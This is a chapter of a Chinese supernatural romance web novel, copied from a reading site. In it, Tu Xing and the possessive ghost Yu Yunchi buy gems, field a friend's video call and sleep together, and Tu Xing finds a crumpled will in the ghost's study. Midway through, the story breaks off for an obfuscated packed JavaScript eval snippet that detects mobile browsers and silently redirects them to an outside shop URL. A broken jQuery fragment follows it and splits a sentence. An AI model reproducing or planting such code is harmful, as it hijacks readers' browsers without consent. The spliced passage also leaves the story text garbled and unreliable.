文趣网 > 都市小说 > 饲鬼[快穿] > 16.第十六章
    上赶着当冤种,郁云驰到底高价买下了几块涂星明确表示过喜欢的宝石带回家——指碧水湾8号。

    因为某位少爷坚称自己的公寓没有保险箱,容易弄丢。

    实际就是懒得侍弄。

    顶级的宝石漂亮归漂亮,储藏存放的规矩也多,有的失水会开裂,有的则相反,需要干燥阴凉的环境留存美丽。

    涂星嫌麻烦,干脆将后续维护交给郁云驰,自己只负责欣赏。

    尽管他才是法律意义上的拥有者。

    展品的拍卖要等闭馆,彼时郁云驰已经陪着涂星去预约的中餐厅吃饭,并未在衣香鬓影的晚宴露面,全程交给秘书处理。

    但明眼人都知道,真正豪掷千金的老板是谁。

    宝石展总共开放两周,郁云驰几乎是卡着截止日期选的票,一夜完成一年的KPI,主办方乐得合不拢嘴,“顾景”和温小云的龃龉也随之传开。

    “这么大的乐子你居然没告诉我!”啪地一通视频电话打来,于静芙尖叫,“亏老娘上刀山下火海地忙活。”

    “如何?消息够准吧?你看到的那份婚检报告肯定是假货。”

    蹙眉调低音量的涂星:……冷漠。

    消息够准,可太迟了。刚好选在他被拐进墓园的前两分钟,巧合得像是故意、专门在给郁云驰打配合。

    “你那什么表情,”横眉立目,于静芙正义控诉,接着又自己泄了气,举手投降,“好吧,我承认,在收到资料和发给你中间,本小姐稍微喝了点酒。”

    “两杯!都是死光头拽着我。”

    “……晚几个小时应该没什么哈?”

    涂星这下真有点想揍人,额角青筋直跳。

    模样十分可爱,如炸开羽毛的小鸟,生动活泼,沙发另一侧的郁云驰不由得笑出声。

    被对方“监视”着玩手机的涂星:……

    更气了。

    “谁谁谁谁?”敏锐捕捉到对面细小却抓耳的陌生音色,于静芙瞬间化身复读机,“务必介绍给我!”她打赌是个帅哥。

    行啊,介绍,涂星直接调转镜头。

    眼角眉梢的春风尚未收起,郁云驰礼貌颔首:“你好。”

    确实见到了帅哥的于静芙当场石化。

    “哈,哈,哈,”宛若被教导主任抓包的学生,她一秒正襟危坐,“顾总。”

    心底把涂星骂了个狗血淋头。

    过河拆桥,重色轻友,她以前怎么没发现对方是恋爱脑?

    “于小姐发来消息时,我正帮星星拿着手机,”半真半假,郁云驰解释,“借此我和星星说开了许多误会,感谢您的帮助。”

    嘴角难以控制地疯狂上扬,于静芙迅速低头,心虚中夹杂着幸灾乐祸:

    难怪某人要摆臭脸。

    原来是被当场抓包。

    “不客气不客气,”明白对方在给自己递台阶,她假咳一声,清了清喉咙,“顾总肚子里能撑船,别介意我的小玩笑就行。”

    郁云驰:“怎么会。”

    “星星也是关心我。”

    “没错没错没错,他这人迷信的要命,佛珠断……”隔着屏幕感受到好友的杀气,于静芙火速闭麦,佯装惊慌地拍了下脑门,“那个,突然想起厨房还烧着菜,我先撤,下次再聊啊二位。”

    涂星:理由真烂。

    烧菜?烧房子还差不多。

    来回和对方互坑了几次,他猜测郁云驰要追问,低头发了几张菜刀滴血的表情包,放下小腿去够拖鞋,行动间,宽松的裤脚掀起,纤细的踝骨上少了脚链的影子。

    ——出于某种心领神会的默契,从宝石展回家之后,郁云驰没提锁,涂星也不问,仿佛它从未存在。

    郁云驰却已先声夺人:“佛珠?”

    涂星:……

    他其实可以是听力障碍。

    怕鬼没什么,去旅游也什么,花大价钱求辟邪镇宅的法器亏得更是他自己的钱包。

    但涂星还为郁云驰供了一盏长明灯。

    当时他心无杂念,满脑子都是别做噩梦睡个好觉,即使是顾景复活来问,照样直言坦荡。

    如今倒有些别扭。

    他几乎能想象出郁云驰听到这话的得意。

    “驱你的,”详略得当,青年挑衅,“高兴了?”

    他才不会让对方的尾巴翘到天上去。

    “所以星星梦到过我?”抓重点的本事一流,郁云驰寻根究底,“什么时候?很多次吗?有没有吓到你?”

    下意识的关切,陡然将涂星预备的否认堵在喉咙里。

    这似乎是一种比暧昧更难招架的氛围,纯粹又柔软,无形铺散,轻松消解了自己的尖锐与犀利。

    “嗡。”

    略显烦躁地垂落睫毛,他低头去看手机,是于静芙的消息:【差点忘了正事儿,拍卖会上那个玻璃种的翡翠镯子是你拍的吧?报酬,速送。】

    “就一次,”涂星道,“我要给于静芙挑个礼物,在碧水湾。”

    郁云驰却以为对方在生气。

    生气自己的虚伪,分明知道星星怕鬼,还利用这点,强迫对方和自己在一起,现在又来装善良。

    如果继续锁着星星、藏起星星就好了,郁云驰想,像之前那半个月,无论喜欢或者讨厌,他们总是能在一起。

    这样自己就不会患得患失,永远处于恐惧。

    然而他必须克制自己。

    于是郁云驰忍着被厌弃的推论应:“嗯。”

    “我送你去。”

    恼火自己快要对忌日之外的某只恶鬼脱敏的涂星:?

    阴晴难定。

    顾景的稳重没留下,坏毛病倒学了一大堆。

    “你又在想他。”蓦地转头,郁云驰笃定。

    涂星无语,深刻怀疑对方脑子里有台特攻顾景的雷达,专门检测周围谁念了对方的名字。

    “又在,”醋味弥漫,汹涌地淹没整栋公寓,瞳仁黝黑的恶鬼倾身,扑住沙发上欲站起的青年,“涂星。”

    “要喜欢我。”

    只喜欢我。

    夹杂着青年含糊的呜咽,凌乱衣衫跌落,漾开一室暖香。

    神思混沌之际,濒临极限的涂星被拉着手,向前,覆住掌下薄且紧实的腹肌,听见郁云驰问:“我能排第几?”

    “有比较才有名次。”好心解惑,恶鬼柔声重复着他先前的话。

    搬起石头砸自己脚的涂星险些咬人。

    美这种没标准的东西怎么比?当然是春花秋月各有风情。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526990|202833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “第一。”急着寻求解脱,涂星抿了抿唇,违心。

    恶鬼却不知足:“你果然更偏向他一点。”喜欢健康而非病弱的身体。

    涂星的耐性彻底告罄。

    仰头,他腰部发力,瞄准那张吵闹的嘴,纯粹地堵了上去。

    错愕的郁云驰刹那安静。

    近乎满溢的喜悦同时出现在他眼底。

    世界在摇晃,模糊地,隔着生理性的泪珠升腾变形,整个儿蜷在泡过热水的郁云驰怀里,精疲力尽的涂星沾床即睡。

    取镯子的行程被推到第二天。

    碧水湾是S市最私密金贵的别墅区之一,内部造景堪比园林,涂星以前来这儿找过朋友,倒没怎么新奇。

    在他看来,这种三四层高、又是泳池又是地下室的户型,只适合开party。

    ——至少对涂星来说过于空荡。

    保洁阿姨定期打扫,虽然有阵子未住人,家中各处依然光洁如新,不见灰尘,只是装修太简单,像极了样板间。

    百无聊赖地在书房等郁云驰取东西,他试着将“原著描写”与现实对照,摆件布局,大多都能契合上。

    什么?

    原来那部主动溜进他意识的小说居然不是盗版吗?

    涂星阴阳怪气地吐槽。

    事到如今,现实和作者笔下的发展早已大相径庭,少数对他有价值的消息之一,便是苏民德与顾家嫡系未来的联手。

    要提醒郁云驰吗?

    有一搭没一搭摆弄着整齐排列的文件夹,腰酸腿软、坐又难受的涂星半倚在桌子上,想。或者隔岸观火,看恶鬼斗老狐狸?

    咚。

    摇晃的拖鞋踢到转椅,角度变换,带翻藏在暗处的纸篓。

    一团被揉皱的“垃圾”滚到涂星脚边。

    很干净,隐约能瞧见晕染渗透的墨迹,约莫是由于太完整,未碎成小块,所以阿姨不方便处理。

    涂星鬼使神差地捡起。

    展开,黑体加粗的“遗嘱”跃入眼帘。

    华国人总是避讳死亡,郁云驰却好似很擅长给自己安排后事。

    跳过中间大段关于资产的分配,视线移向末尾的签名,刀劈斧砍般,半个熟悉的“郁”字被划去,改作潇洒遒劲的“顾景”。

    日期是领证后“顾景”莫名疏远自己、他跑去旅游采风的几天。

    本能的落笔与理智的更正,涂星忽然想起在民政局、对方戴上戒指前的确认——

    “你真的考虑好了?”

    “愿意和顾景结婚?”

    并非反悔、迟疑。

    而是不甘心。

    我本可以忍受黑暗,倘若我未曾见过光明。深思熟虑、百般压抑却仍旧破土而出的“爱”,远比一时的冲动贪欢更难招架。

    后者还可以靠耳鬓厮磨来满足,前者则必须要用同等的东西去交换。

    自己最为匮乏的东西。

    这一刻,涂星无比清楚地认识到,触底反弹的郁云驰没可能再放手。不死不休,死了也不休。

    嗒。

    耳尖听到脚步声,他重新将遗嘱揉成团丢进纸篓,等门开,若无其事地抬头:“于静芙约我喝酒。”

    “你先自己玩一会儿?”